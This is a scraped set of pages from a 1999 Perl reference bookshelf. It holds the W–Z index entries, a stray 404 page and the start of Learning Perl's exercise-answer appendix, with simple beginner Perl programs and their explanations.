\S (non-whitespace) character class : Perl in a Nutshell, 4.6.4. Character Classes
\s (whitespace) character class : Perl in a Nutshell, 4.6.4. Character Classes
sorted text in columns and : Perl Cookbook, 4.18. Program: words
sorting du command output : Perl Cookbook, 5.16. Program: dutree
suppressing in formatted output : Perl in a Nutshell, 4.10. Formats
tabs, expanding/compressing : Perl Cookbook, 1.7. Expanding and Compressing Tabs
/x modifier : Programming Perl, 2.4. Pattern Matching
who command, example of
Learning Perl, 1.4. Basic Concepts
Learning Perl, 14.1. Using system and exec
Learning Perl, 14.2. Using Backquotes
who.cgi script (example) : Perl Cookbook, 19.11. Creating Sticky Widgets
whoami() : Perl Cookbook, 10.4. Determining Current Function Name
whois service : Perl Cookbook, 18.8. Using Whois to Retrieve Information from the InterNIC
whowasi() : Perl Cookbook, 10.4. Determining Current Function Name
widgets (Perl/Tk)
Advanced Perl Programming, 14.1. Introduction to GUIs, Tk, and Perl/Tk
Learning Perl, 19.6. Form Generation
Learning Perl, 19.7. Other Form Elements
Learning Perl, 19.8.2. Objects in CGI.pm
Perl in a Nutshell, 18.1. Widgets
callbacks : Perl in a Nutshell, 18.1.3. Callbacks
colors and fonts : Perl in a Nutshell, 18.1.4. Colors and Fonts
common configuration options : Perl in a Nutshell, 18.3. Common Widget Configuration Options
event bindings and : Advanced Perl Programming, 14.6. Event Bindings
event loops and : Advanced Perl Programming, 14.7. Event Loops
geometry management
Advanced Perl Programming, 14.2. Starting with Perl/Tk
Advanced Perl Programming, 14.4. Geometry Management
Perl in a Nutshell, 18.2. Geometry Managers
list of : Advanced Perl Programming, 14.3. Widget Tour
reference for : Advanced Perl Programming, A. Tk Widget Reference
scrolling
Advanced Perl Programming, 14.3.9. Scrollbars and Scrolling
Perl in a Nutshell, 18.1.2. Scrollbars
tagged styles : Advanced Perl Programming, 14.3.5.4. Using tags to change properties of text ranges
timers : Advanced Perl Programming, 14.5. Timers
widget methods : Perl in a Nutshell, 18.1.1. Widget Methods
-width option : Perl in a Nutshell, 18.3. Common Widget Configuration Options
place geometry manager : Perl in a Nutshell, 18.2.3. The Place Geometry Manager
wildcards
(see also globbing)
(see also metacharacters)
Perl Cookbook, 6.9. Matching Shell Globs as Regular Expressions
Perl in a Nutshell, 4.6.2. Regular Expression Syntax
anchors : Perl in a Nutshell, 4.6.5. Anchors
character classes : Perl in a Nutshell, 4.6.4. Character Classes
escaped sequences : Perl in a Nutshell, 4.6.3. Escaped Sequences
quantifiers : Perl in a Nutshell, 4.6.6. Quantifiers
Win32 Extensions : Learning Perl on Win32 Systems, B.4. Win32 Extensions
Win32 modules : Perl in a Nutshell, 19. Win32 Modules and Extensions
Win32::AbortSystemShutdown()
Learning Perl on Win32 Systems, B.4. Win32 Extensions
Perl in a Nutshell, 19.17. Win32 Extensions
Win32::AdminMisc module : Learning Perl on Win32 Systems, B.4. Win32 Extensions
Win32::BuildNumber module
Learning Perl on Win32 Systems, B.4. Win32 Extensions
Perl in a Nutshell, 19.17. Win32 Extensions
Win32::ChangeNotification module : Perl in a Nutshell, 19.3. Win32::ChangeNotification
Win32::ChangeNotify module : Learning Perl on Win32 Systems, B.4. Win32 Extensions
Win32::Clipboard module : Perl in a Nutshell, 19.1. Win32::Clipboard
Win32::Console module
Learning Perl on Win32 Systems, B.4. Win32 Extensions
Perl in a Nutshell, 19.2. Win32::Console
Win32::DomainName module
Learning Perl on Win32 Systems, B.4. Win32 Extensions
Perl in a Nutshell, 19.17. Win32 Extensions
Win32::Error module : Learning Perl on Win32 Systems, B.4. Win32 Extensions
Win32::EventLog module
Learning Perl on Win32 Systems, B.4. Win32 Extensions
Perl in a Nutshell, 19.4. Win32::Eventlog
Win32::ExpandEnvironmentStrings module
Learning Perl on Win32 Systems, B.4. Win32 Extensions
Perl in a Nutshell, 19.17. Win32 Extensions
Win32::File module
Learning Perl on Win32 Systems, B.4. Win32 Extensions
Learning Perl on Win32 Systems, 13.4. Modifying Permissions
Perl in a Nutshell, 19.5. Win32::File
Win32::FileSecurity module
Learning Perl on Win32 Systems, B.4. Win32 Extensions
Learning Perl on Win32 Systems, 13.4. Modifying Permissions
Perl in a Nutshell, 19.6. Win32::FileSecurity
Win32::FormatMessage module
Learning Perl on Win32 Systems, B.4. Win32 Extensions
Perl in a Nutshell, 19.17. Win32 Extensions
Win32::FsType module
Learning Perl on Win32 Systems, B.4. Win32 Extensions
Learning Perl on Win32 Systems, 10.7. The stat Function
Perl in a Nutshell, 19.17. Win32 Extensions
Win32::GetCwd module
Learning Perl on Win32 Systems, B.4. Win32 Extensions
Learning Perl on Win32 Systems, 12.1. Moving Around the Directory Tree
Perl in a Nutshell, 19.17. Win32 Extensions
Win32::GetLastError module
Learning Perl on Win32 Systems, B.4. Win32 Extensions
Perl in a Nutshell, 19.17. Win32 Extensions
Win32::GetNextAvailDrive module
Learning Perl on Win32 Systems, B.4. Win32 Extensions
Perl in a Nutshell, 19.17. Win32 Extensions
Win32::GetOSVersion module
Learning Perl on Win32 Systems, B.4. Win32 Extensions
Perl in a Nutshell, 19.17. Win32 Extensions
Win32::GetShortPathName module
Learning Perl on Win32 Systems, B.4. Win32 Extensions
Learning Perl on Win32 Systems, 10.3. Using Pathnames and Filenames
Perl in a Nutshell, 19.17. Win32 Extensions
Win32::GetTickCount module
Learning Perl on Win32 Systems, B.4. Win32 Extensions
Perl in a Nutshell, 19.17. Win32 Extensions
Win32::InitiateSystemShutdown module
Learning Perl on Win32 Systems, B.4. Win32 Extensions
Perl in a Nutshell, 19.17. Win32 Extensions
Win32::Internet module
Learning Perl on Win32 Systems, B.4. Win32 Extensions
Perl in a Nutshell, 19.7. Win32::Internet
Win32::IPC module
Learning Perl on Win32 Systems, B.4. Win32 Extensions
Perl in a Nutshell, 19.8. Win32::IPC
Win32::IsWin95 module
Learning Perl on Win32 Systems, B.4. Win32 Extensions
Perl in a Nutshell, 19.17. Win32 Extensions
Win32::IsWinNT module
Learning Perl on Win32 Systems, B.4. Win32 Extensions
Perl in a Nutshell, 19.17. Win32 Extensions
Win32::LoginName module
Learning Perl on Win32 Systems, B.4. Win32 Extensions
Learning Perl on Win32 Systems, 16.1. Getting User and Machine Information
Perl in a Nutshell, 19.17. Win32 Extensions
Win32::LookupAccountName module
Learning Perl on Win32 Systems, B.4. Win32 Extensions
Perl in a Nutshell, 19.17. Win32 Extensions
Win32::LookupAccountSID module
Learning Perl on Win32 Systems, B.4. Win32 Extensions
Perl in a Nutshell, 19.17. Win32 Extensions
Win32::Mutex module
Learning Perl on Win32 Systems, B.4. Win32 Extensions
Perl in a Nutshell, 19.9. Win32::Mutex
Win32::NetAdmin module : Perl in a Nutshell, 19.10. Win32::NetAdmin
Win32::NetResource module
Learning Perl on Win32 Systems, B.4. Win32 Extensions
Learning Perl on Win32 Systems, 12.5. Reading a Directory Handle
Learning Perl on Win32 Systems, 16.1. Getting User and Machine Information
Perl in a Nutshell, 19.11. Win32::NetResource
Win32::NodeName module
Learning Perl on Win32 Systems, B.4. Win32 Extensions
Learning Perl on Win32 Systems, 16.1. Getting User and Machine Information
Perl in a Nutshell, 19.17. Win32 Extensions
Win32::ODBC module
Advanced Perl Programming, 10.4.2. Win32::ODBC
Learning Perl on Win32 Systems, B.4. Win32 Extensions
Learning Perl on Win32 Systems, 17.6. Win32 Database Interfaces
Win32::OLE modules
Learning Perl on Win32 Systems, A.18. Chapter 19, OLE Automation
Learning Perl on Win32 Systems, B.4. Win32 Extensions
Learning Perl on Win32 Systems, 19.2. Creating Automation Objects
Perl in a Nutshell, 19.18. OLE Automation
Win32::OLE::Const module : Perl in a Nutshell, 19.18.5. Win32::OLE::Const
Win32::OLE::Enum module : Perl in a Nutshell, 19.18.3. Win32::OLE::Enum
Win32::OLE::Variant module : Perl in a Nutshell, 19.18.4. Win32::OLE::Variant
Win32::OLELastError() : Perl in a Nutshell, 19.17. Win32 Extensions
Win32::Pipe module : Learning Perl on Win32 Systems, B.4. Win32 Extensions
Win32::Process module
Perl Cookbook, 15.17. Removing the DOS Shell Window with Windows Perl/Tk
Learning Perl on Win32 Systems, B.4. Win32 Extensions
Learning Perl on Win32 Systems, 14.5. Win32::Process
Perl in a Nutshell, 19.12. Win32::Process
Win32::RegisterServer() : Perl in a Nutshell, 19.17. Win32 Extensions
Win32::Registry module
Learning Perl on Win32 Systems, A.15. Chapter 16, System Information
Learning Perl on Win32 Systems, B.4. Win32 Extensions
Learning Perl on Win32 Systems, 16.4. The Registry
Learning Perl on Win32 Systems, 16.4.1. The Registry Structure
Perl in a Nutshell, 19.13. Win32::Registry
Win32::Semaphore module
Learning Perl on Win32 Systems, B.4. Win32 Extensions
Perl in a Nutshell, 19.14. Win32::Semaphore
Win32::Service module
Learning Perl on Win32 Systems, B.4. Win32 Extensions
Perl in a Nutshell, 19.15. Win32::Service
Perl in a Nutshell, 19.17. Win32 Extensions
Win32::SetCwd module : Learning Perl on Win32 Systems, B.4. Win32 Extensions
Win32::Shortcut module
Learning Perl on Win32 Systems, B.4. Win32 Extensions
Perl in a Nutshell, 19.16. Win32::Shortcut
Win32::Sleep() : Perl in a Nutshell, 19.17. Win32 Extensions
Win32::Sound module : Learning Perl on Win32 Systems, B.4. Win32 Extensions
Win32::Spawn module
Learning Perl on Win32 Systems, B.4. Win32 Extensions
Perl in a Nutshell, 19.17. Win32 Extensions
Win32::Timer module : Advanced Perl Programming, 9.1.1. Example: Stopwatch
Win32::UnregisterServer() : Perl in a Nutshell, 19.17. Win32 Extensions
Win32 systems
command processing : Perl in a Nutshell, 3.1. Command Processing
installing Perl on : Perl in a Nutshell, 2.3.2. Installing on Win32
window size, determining
Perl Cookbook, 12.14. Using h2ph to Translate C #include Files
Perl Cookbook, 15.4. Determining Terminal or Window Size
window() (Text widget) : Perl in a Nutshell, 18.11.2. Text Methods
Window() (Win32::Console) : Perl in a Nutshell, Chapter 19, Reference: Window
windowing platforms : (see GUIs (graphical user interfaces))
windows
dialog boxes (Tk) : Perl Cookbook, 15.15. Creating Dialog Boxes with Tk
DOS shell, removing : Perl Cookbook, 15.17. Removing the DOS Shell Window with Windows Perl/Tk
menu bars in (Tk) : Perl Cookbook, 15.14. Creating Menus with Tk
Windows 95 vs. Windows NT : Learning Perl on Win32 Systems, 1.3.3. Windows NT and Windows 95
Windows clipboard : Perl in a Nutshell, 19.1. Win32::Clipboard
Windows NT
processes on : Learning Perl on Win32 Systems, 14.5. Win32::Process
Registry : Learning Perl on Win32 Systems, 16.4. The Registry
Windows 95 versus : Learning Perl on Win32 Systems, 1.3.3. Windows NT and Windows 95
winsz program (example) : Perl Cookbook, 12.14. Using h2ph to Translate C #include Files
WinZip utility : Learning Perl on Win32 Systems, 1.3.2. Standard Perl Distribution
Wirth, Nicklaus : Advanced Perl Programming, 7.1. OO: An Introduction
with() (Win32::OLE) : Perl in a Nutshell, Chapter 19, Reference: with
withdraw() (Frame widget) : Perl in a Nutshell, 18.18.1. Toplevel Methods
WNetGetLastError() (Win32::NetResource) : Perl in a Nutshell, Chapter 19, Reference: WNetGetLastError
word character
Learning Perl, 7.3.1. Single-Character Patterns
Programming Perl, 1.7. Regular Expressions
words
(see also characters)
Programming Perl, 2.4. Pattern Matching
\b assertion
Programming Perl, 1.7.3. Nailing Things Down
Programming Perl, 2.4.1.2. The rules of regular expression matching
Programming Perl, 2.4.1.3. The fine print
boundaries
Learning Perl, 7.3.3. Anchoring Patterns
Learning Perl on Win32 Systems, 1.6.7. Handling Varying Input Formats
Learning Perl on Win32 Systems, 7.3.3. Anchoring Patterns
example of : Learning Perl, 1.5.7. Handling Varying Input Formats
duplicate, finding : Perl Cookbook, 6.16. Detecting Duplicate Words
filled fields in formats : Learning Perl, 11.4.4. Filled Fields
fuzzy matching : Perl Cookbook, 6.13. Approximate Matching
matching abbreviations : Perl Cookbook, 6.20. Matching Abbreviations
pattern matching : Perl Cookbook, 6.3. Matching Words
pluralizing, based on numbers : Perl Cookbook, 2.18. Printing Correct Plurals
processing all in file : Perl Cookbook, 8.3. Processing Every Word in a File
reversing : Perl Cookbook, 1.6. Reversing a String by Word or Character
sorting into columns : Perl Cookbook, 4.18. Program: words
substitutions for specific : Perl Cookbook, 1.17. Program: fixstyle
text color, changing : Perl Cookbook, 15.5. Changing Text Color
wrapping paragraph text : Perl Cookbook, 1.12. Reformatting Paragraphs
words program (example) : Perl Cookbook, 4.18. Program: words
wordstart, wordend modifiers (Text widget) : Perl in a Nutshell, 18.11.1. Text Indexes and Modifiers
World Wide Web
Learning Perl on Win32 Systems, B.2.8. The World Wide Web
Learning Perl on Win32 Systems, 18. CGI Programming
Programming Perl, Usenet Newsgroups
wrap() : Programming Perl, 7.2.71. Text::Wrap - Wrap Text into a Paragraph
-wrap option (Text) : Perl in a Nutshell, 18.11. The Text Widget
wrapdemo program (example) : Perl Cookbook, 1.12. Reformatting Paragraphs
-wraplength option (widgets) : Perl in a Nutshell, 18.3. Common Widget Configuration Options
wrapper programs : Programming Perl, 6.3.1.3. Security bugs
wrapping paragraph text : Perl Cookbook, 1.12. Reformatting Paragraphs
wrapping text : Perl in a Nutshell, 8.147. Text::Wrap
wrapsuid program : Programming Perl, 6.3.1.3. Security bugs
Write()
Response object, PerlScript : Perl in a Nutshell, 20.2.2.3. Response methods
Win32::Console module : Perl in a Nutshell, Chapter 19, Reference: Write
write()
Perl Cookbook, 16.4. Reading or Writing to Another Program
Learning Perl, 1.5.14. Listing the Secret Words
Learning Perl, 11.3. Invoking a Format
Learning Perl on Win32 Systems, 1.6.14. Listing the Secret Words
Learning Perl on Win32 Systems, 1.6.17. The Final Programs
Learning Perl on Win32 Systems, 11.3. Invoking a Format
Perl in a Nutshell, Chapter 5, Reference: write
Perl in a Nutshell, 4.10. Formats
Programming Perl, 3.2.193. write
document object (PerlScript)
Perl in a Nutshell, 20.1. Client-Side PerlScript
Perl in a Nutshell, 20.1.1.1. Document methods
example of
Learning Perl, A.15. Chapter 16, System Database Access
Learning Perl, 1.5.17. The Final Programs
Learning Perl, 11.3. Invoking a Format
WriteAttr() (Win32::Console) : Perl in a Nutshell, Chapter 19, Reference: WriteAttr
WriteChar() (Win32::Console) : Perl in a Nutshell, Chapter 19, Reference: WriteChar
WriteInput() (Win32::Console) : Perl in a Nutshell, Chapter 19, Reference: WriteInput
writeLn() (document object, PerlScript) : Perl in a Nutshell, 20.1.1.1. Document methods
writemain() : Programming Perl, 7.2.20. ExtUtils::Miniperl - Write the C Code for perlmain.c
WriteMakefile() : Programming Perl, 7.2.18. ExtUtils::MakeMaker - Create a Makefile for a Perl Extension
WriteRect() (Win32::Console) : Perl in a Nutshell, Chapter 19, Reference: WriteRect
writing
data via low-level system call
Programming Perl, 3.2.110. print
Programming Perl, 3.2.111. printf
Programming Perl, 3.2.168. syswrite
Programming Perl, 3.2.193. write
Makefiles : Programming Perl, 7.2.18. ExtUtils::MakeMaker - Create a Makefile for a Perl Extension
MANIFEST file : Programming Perl, 7.2.19. ExtUtils::Manifest - Utilities to Write and Check a MANIFEST File
permission for processes : Programming Perl, 7.2.39. IPC::Open2 - Open a Process for Both Reading and Writing
reports
Learning Perl, 1.5.14. Listing the Secret Words
Learning Perl, 11.1. What Is a Format?
scripts : (see scripts)
to shared memory segment ID : Programming Perl, 3.2.147. shmwrite
writing files : (see file contents; files)
wtmp file, adding records to : Perl Cookbook, 8.18. Program: tailwtmp
www.perl.com and www.perl.org sites : Perl in a Nutshell, 1.4.4. www.perl.com

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: X

x (grid geometry manager placeholder) : Perl in a Nutshell, 18.2.2. The grid Geometry Manager
X command (debugger)
Perl in a Nutshell, Chapter 6, Reference: x
Perl in a Nutshell, Chapter 6, Reference: X
Programming Perl, 8.1.1. Debugger Commands
x command (Perl debugger) : Perl Cookbook, 11.11. Printing Data Structures
-x file test operator
Learning Perl, A.1. Chapter 2, Scalar Data
Learning Perl, 10.5. The -x File Tests
Learning Perl on Win32 Systems, 10.6. The -x File Tests
Perl in a Nutshell, 4.5.8. File Test Operators
Programming Perl, 2.5.10. Named Unary and File Test Operators
-X file test operator
Learning Perl, 10.5. The -x File Tests
Perl in a Nutshell, 4.5.8. File Test Operators
Programming Perl, 2.5.10. Named Unary and File Test Operators
X<> interior sequence (pod) : Perl in a Nutshell, 4.11.2. Interior sequences
/x modifier
Perl Cookbook, 1.8. Expanding Variables in User Input
Programming Perl, 2.4. Pattern Matching
Programming Perl, 2.4.2. Pattern-Matching Operators
x operator : Perl Cookbook, 2.14. Multiplying Matrices
-X operators : Perl Cookbook, 9.0. Introduction
-x option (place geometry manager) : Perl in a Nutshell, 18.2.3. The Place Geometry Manager
x pattern match modifier
Learning Perl, 2.4.2. Operators for Strings
Learning Perl on Win32 Systems, A.1. Chapter 2, Scalar Data
Perl in a Nutshell, 4.6.1. Pattern-Matching Operators
Perl in a Nutshell, 4.6.8. Extended Regular Expressions
Programming Perl, 1.5.2. String Operators
x (repetition) operator
Perl in a Nutshell, 4.5.11.4. String operator
Programming Perl, 2.5.7. Multiplicative Operators
-x switch, perl
Perl in a Nutshell, 3.2. Command-Line Options
Programming Perl, 6.1.1. Command Processing
Programming Perl, 6.1.2. Switches
X Windows platform : Advanced Perl Programming, 14.1. Introduction to GUIs, Tk, and Perl/Tk
X-headers (news articles) : Perl in a Nutshell, 15.1. The NNTP Protocol
\x7f (hexadecimal value) sequence : Perl in a Nutshell, 4.6.3. Escaped Sequences
x= (assignment) operator
Perl in a Nutshell, 4.5.6. Assignment Operators
Programming Perl, 2.5.17. Assignment Operators
xgtitle() (Net::NNTP) : Perl in a Nutshell, Chapter 15, Reference: xgtitle
xhdr command (NNTP)
Perl in a Nutshell, Chapter 15, Reference: xhdr
Perl in a Nutshell, 15.1. The NNTP Protocol
XOR (^) operator, bitwise
Perl in a Nutshell, 4.5.10. Bitwise Operators
Programming Perl, 2.5.13. Bitwise Operators
Programming Perl, 2.5.20. Logical and, or, not, and xor
Programming Perl, 8.2.3. Awk Traps
Programming Perl, 8.4. Programming with Style
xover() (Net::NNTP) : Perl in a Nutshell, Chapter 15, Reference: xover
xpat() (Net::NNTP)
Perl in a Nutshell, Chapter 15, Reference: xpat
Perl in a Nutshell, 15.1. The NNTP Protocol
xpath() (Net::NNTP) : Perl in a Nutshell, Chapter 15, Reference: xpath
XPUSHs macro : Advanced Perl Programming, 20.4.2.2. Ensuring that the stack is big enough
Xref backend (Perl compiler) : Perl in a Nutshell, 3.4. The Perl Compiler
xrover() (Net::NNTP) : Perl in a Nutshell, Chapter 15, Reference: xrover
XS tool
Advanced Perl Programming, 17.1. On Code Generation
Advanced Perl Programming, 18. Extending Perl:A First Course
Perl Cookbook, 12.8. Preparing a Module for Distribution
Perl Cookbook, 12.15. Using h2xs to Make a Module with C Code
C header file and : Advanced Perl Programming, 18.1.1. The Extension Process
extensions : Advanced Perl Programming, 20.5.1. Anatomy of an XS Extension
features of : Advanced Perl Programming, 18.4. XS Features
Mandelbrot code example : Advanced Perl Programming, 18.2.2. Fractals Using XS
memory management : Advanced Perl Programming, 20.5.6. Memory Management Using XS
SWIG tool versus : Advanced Perl Programming, 18.1.2. SWIG or XS?
typemaps : Advanced Perl Programming, 20.5.2. XS Typemaps: An Introduction
xsubpp, special details of : Advanced Perl Programming, 18.4.1. What Does xsubpp Do?
XSUBs and : Advanced Perl Programming, 20.4.2. The Called Side: Hand-Coding an XSUB
xscrollcommand function : Advanced Perl Programming, 14.3.9.1. Custom scrolling
-xscrollcommand option : Perl in a Nutshell, 18.3. Common Widget Configuration Options
Scrollbar widget : Perl in a Nutshell, 18.1.2.2. The Scrollbar widget
-xscrollincrement option (Canvas) : Perl in a Nutshell, 18.12. The Canvas Widget
XSRETURN macro : Advanced Perl Programming, 20.4.2.1. Returning a variable list of results
xsubpp tool : (see XS tool)
XSUBs, hand-coding : Advanced Perl Programming, 20.4.2. The Called Side: Hand-Coding an XSUB
xview()
Canvas widget : Perl in a Nutshell, 18.12.3. Canvas Methods
Entry widget : Perl in a Nutshell, 18.8.2. Entry Methods
Listbox widget : Perl in a Nutshell, 18.10.2. Listbox Methods
Text widget : Perl in a Nutshell, 18.11.2. Text Methods

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: Y

-y option (place geometry manager) : Perl in a Nutshell, 18.2.3. The Place Geometry Manager
y/// pattern match operator
Perl in a Nutshell, 4.6.1. Pattern-Matching Operators
Programming Perl, 2.4.2. Pattern-Matching Operators
Programming Perl, 3.2.194. y///
yacc compiler : Advanced Perl Programming, 20.2.2.2. Compilation and code generation stages
Year 2000 problem : Perl Cookbook, 3.0. Introduction
years : (see date and time)
yposition() (Menu widget) : Perl in a Nutshell, 18.15.2. Menu Methods
yscrollcommand function : Advanced Perl Programming, 14.3.9.1. Custom scrolling
-yscrollcommand option : Perl in a Nutshell, 18.3. Common Widget Configuration Options
Scrollbar widget : Perl in a Nutshell, 18.1.2.2. The Scrollbar widget
-yscrollincrement option (Canvas) : Perl in a Nutshell, 18.12. The Canvas Widget
yview()
Canvas widget : Perl in a Nutshell, 18.12.3. Canvas Methods
Listbox widget : Perl in a Nutshell, 18.10.2. Listbox Methods
Text widget : Perl in a Nutshell, 18.11.2. Text Methods

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: Z

\z (string end) anchor : Perl in a Nutshell, 4.6.5. Anchors
\Z (string/line end) anchor
Perl in a Nutshell, 4.6.5. Anchors
Programming Perl, 2.4.1.2. The rules of regular expression matching
Programming Perl, 2.4.1.3. The fine print
-z file test operator
Learning Perl, 10.5. The -x File Tests
Learning Perl on Win32 Systems, 10.6. The -x File Tests
Perl in a Nutshell, 4.5.8. File Test Operators
Programming Perl, 2.5.10. Named Unary and File Test Operators
Z<> interior sequence (pod) : Perl in a Nutshell, 4.11.2. Interior sequences
-z option (dprofpp) : Perl in a Nutshell, 6.5. The Perl Profiler
Zakharevich, Ilya : Advanced Perl Programming, 10.2.1. FreezeThaw
zombie processes
Programming Perl, 6.2.1. Signals
Perl Cookbook, 16.0. Introduction
Perl Cookbook, 16.19. Avoiding Zombie Processes

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/jobjects/instructions.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


[Appendix A] Exercise Answers

Learning PerlSearch this book
Previous: 19.12 Exercises Appendix A Next: A.2 Chapter 3, Arrays and List Data

A. Exercise Answers

Contents:
Chapter 2, Scalar Data
Chapter 3, Arrays and List Data
Chapter 4, Control Structures
Chapter 5, Hashes
Chapter 6, Basic I/O
Chapter 7, Regular Expressions
Chapter 8, Functions
Chapter 9, Miscellaneous Control Structures
Chapter 10, Filehandles and File Tests
Chapter 11, Formats
Chapter 12, Directory Access
Chapter 13, File and Directory Manipulation
Chapter 14, Process Management
Chapter 15, Other Data Transformation
Chapter 16, System Database Access
Chapter 17, User Database Manipulation
Chapter 18, Converting Other Languages to Perl
Chapter 19, CGI Programming

This appendix gives the answers for the exercises found at the end of each chapter.

A.1 Chapter 2, Scalar Data

  1. Here's one way to do it:

    $pi = 3.141592654;
$result = 2 * $pi * 12.5;
print "radius 12.5 is circumference $result\n";

    First, we give a constant value ( [pi]) to the scalar variable $pi. Next, we compute the circumference using this value of $pi in an expression. Finally, we print the result using a string containing a reference to the result.

  2. Here's one way to do it:

    print "What is the radius: ";
chomp($radius = <STDIN>);
$pi = 3.141592654;
$result = 2 * $pi * $radius;
print "radius $radius is circumference $result\n";

    This is similar to the previous exercise, but here we've asked the person running the program for a value, using a print statement for a prompt, and then the <STDIN> operator to read a line from the terminal.

    If we had left off the chomp, we'd get a newline in the middle of the displayed string at the end. It's important to get that newline off the string as soon as we can.

  3. Here's one way to do it:

    print "First number: "; chomp($a = <STDIN>);
print "Second number: "; chomp($b = <STDIN>);
$c = $a * $b; print "Answer is $c.\n";

    The first line does three things: prompts you with a message, reads a line from standard input, and then gets rid of the inevitable newline at the end of the string. Note that since we are using the value of $a strictly as a number, we can omit the chomp here, because 45\n is 45 when used numerically. However, such careless programming would likely come back to haunt us later on (for example, if we were to include $a in a message).

    The second line does the same thing for the second number and places it into the scalar variable $b.

    The third line multiplies the two numbers together and prints the result. Note the newline at the end of the string here, contrasted with its absence in the first two lines. The first two messages are prompts, for which user input was desired on the same line. This last message is a complete statement; if we had left the newline out of the string, the shell prompt would appear immediately after the message. Not very cool.

  4. Here's one way to do it:

    print "String: "; $a = <STDIN>;
print "Number of times: "; chomp($b = <STDIN>);
$c = $a x $b; print "The result is:\n$c";

    Like the previous exercise, the first two lines ask for, and accept, values for the two variables. Unlike the previous exercise, we don't chomp the newline from the end of the string, because we need it! The third line takes the two entered values and performs a string repetition on them, then displays the answer. Note that the interpolation of $c is not followed by a newline, because we believe that $c will always end in a newline anyway.

Previous: 19.12 Exercises | Learning Perl | Next: A.2 Chapter 3, Arrays and List Data
19.12 Exercises | Book Index | A.2 Chapter 3, Arrays and List Data


[Appendix A] A.2 Chapter 3, Arrays and List Data

Learning PerlSearch this book

A.2 Chapter 3, Arrays and List Data

  1. One way to do this is:

    print "Enter the list of strings:\n";
@list = <STDIN>;
@reverselist = reverse @list;
print @reverselist;

    The first line prompts for the strings. The second reads the strings into an array variable. The third line computes the list in the reverse order, storing it into another variable, and the final line displays the result.

    We can actually combine the last three lines, resulting in:

    print "Enter the list of strings:\n";
print reverse <STDIN>;

    This works because the print operator is expecting a list, and reverse returns a list - so they're happy. And reverse wants a list of values to reverse, and <STDIN> in a list context returns a list of the lines, so they're happy too!

  2. One way to do this is:

    print "Enter the line number: "; chomp($a = <STDIN>);
print "Enter the lines, end with ^D:\n"; @b = <STDIN>;
print "Answer: $b[$a-1]";

    The first line prompts for a number, reads it from standard input, and removes that pesky newline. The second line asks for a list of strings, then uses the <STDIN> operator in a list context to read all of the lines until end-of-file into an array variable. The final statement prints the answer, using an array reference to select the proper line. Note that we don't have to add a newline to the end of this string, because the line selected from the @b array still has its newline ending.

    If you are trying this from a terminal configured in the most common way, you'll need to type CTRL-D at the terminal to indicate an end-of-file.

  3. One way to do this is:

    srand;
print "List of strings: "; @b = <STDIN>;
print "Answer: $b[rand(@b)]";

    The first line initializes the random number generator. The second line reads a bunch of strings. The third line selects a random element from that bunch of strings and prints it.

Previous: A.1 Chapter 2, Scalar Data | Learning Perl | Next: A.3 Chapter 4, Control Structures
A.1 Chapter 2, Scalar Data | Book Index | A.3 Chapter 4, Control Structures


[Appendix A] A.3 Chapter 4, Control Structures

Learning PerlSearch this book

A.3 Chapter 4, Control Structures

  1. Here's one way to do it:

    print "What temperature is it? ";
chomp($temperature = <STDIN>);
if ($temperature > 72) {
    print "Too hot!\n";
} else {
    print "Too cold!\n";
}

    The first line prompts you for the temperature. The second line accepts the temperature for input. The if statement on the final 5 lines selects one of two messages to print, depending on the value of $temperature.

  2. Here's one way to do it:

    print "What temperature is it? ";
chomp($temperature = <STDIN>);
if ($temperature > 75) {
    print "Too hot!\n";
} elsif ($temperature < 68) {
    print "Too cold!\n";
} else {
    print "Just right!\n";
}

    Here, we've modified the program to include a three-way choice. First, the temperature is compared to 75, then to 68. Note that only one of the three choices will be executed each time through the program.

  3. Here's one way to do it:

    print "Enter a number (999 to quit): ";
chomp($n = <STDIN>);
while ($n != 999) {
    $sum += $n;
    print "Enter another number (999 to quit): ";
    chomp($n = <STDIN>);
}
print "the sum is $sum\n";

    The first line prompts for the first number. The second line reads the number from the terminal. The while loop continues to execute as long as the number is not 999.

    The += operator accumulates the numbers into the $sum variable. Note that the initial value of $sum is undef, which makes a nice value for an accumulator, because the first value added in will be effectively added to 0 (remember that undef used as a number is zero).

    Within the loop, we must prompt for and receive another number, so that the test at the top of the loop is against a newly entered number.

    When the loop is exited, the program prints the accumulated results.

    Note that if you enter 999 right away, the value of $sum is not zero, but an empty string - the value of undef when used as a string. If you want to ensure that the program prints zero in this case, you should initialize the value of $sum in the beginning of the program with $sum = 0.

  4. Here's one way to do it:

    print "Enter some strings, end with ^D:\n";
@strings = <STDIN>;
while (@strings) {
    print pop @strings;
}

    First, this program asks for the strings. These strings are saved in the array variable @strings, one per element.

    The control expression of the while loop is @strings. The control expression is looking for a single value (true or false), and is therefore computing the expression in a scalar context. The name of an array (such as @strings) when used in a scalar context is the number of elements currently in the array. As long as the array is not empty, this number is nonzero and therefore true. This is a very common Perl idiom for "do this while the array is nonempty."

    The body of the loop prints a value, obtained by pop'ing off the rightmost element of the array. Thus, because that element has been popped, each time through the loop the array is one element shorter.

    You may have considered using subscripts for this problem. As we say, there's more than one way to do it. However, you'll rarely see subscripts in true Perl Hackers' programs because there's almost always a better way.

  5. Here's a way to do it without a list:

    for ($number = 0; $number <= 32; $number++) {
    $square = $number * $number;
    printf "%5g %8g\n", $number, $square;
}

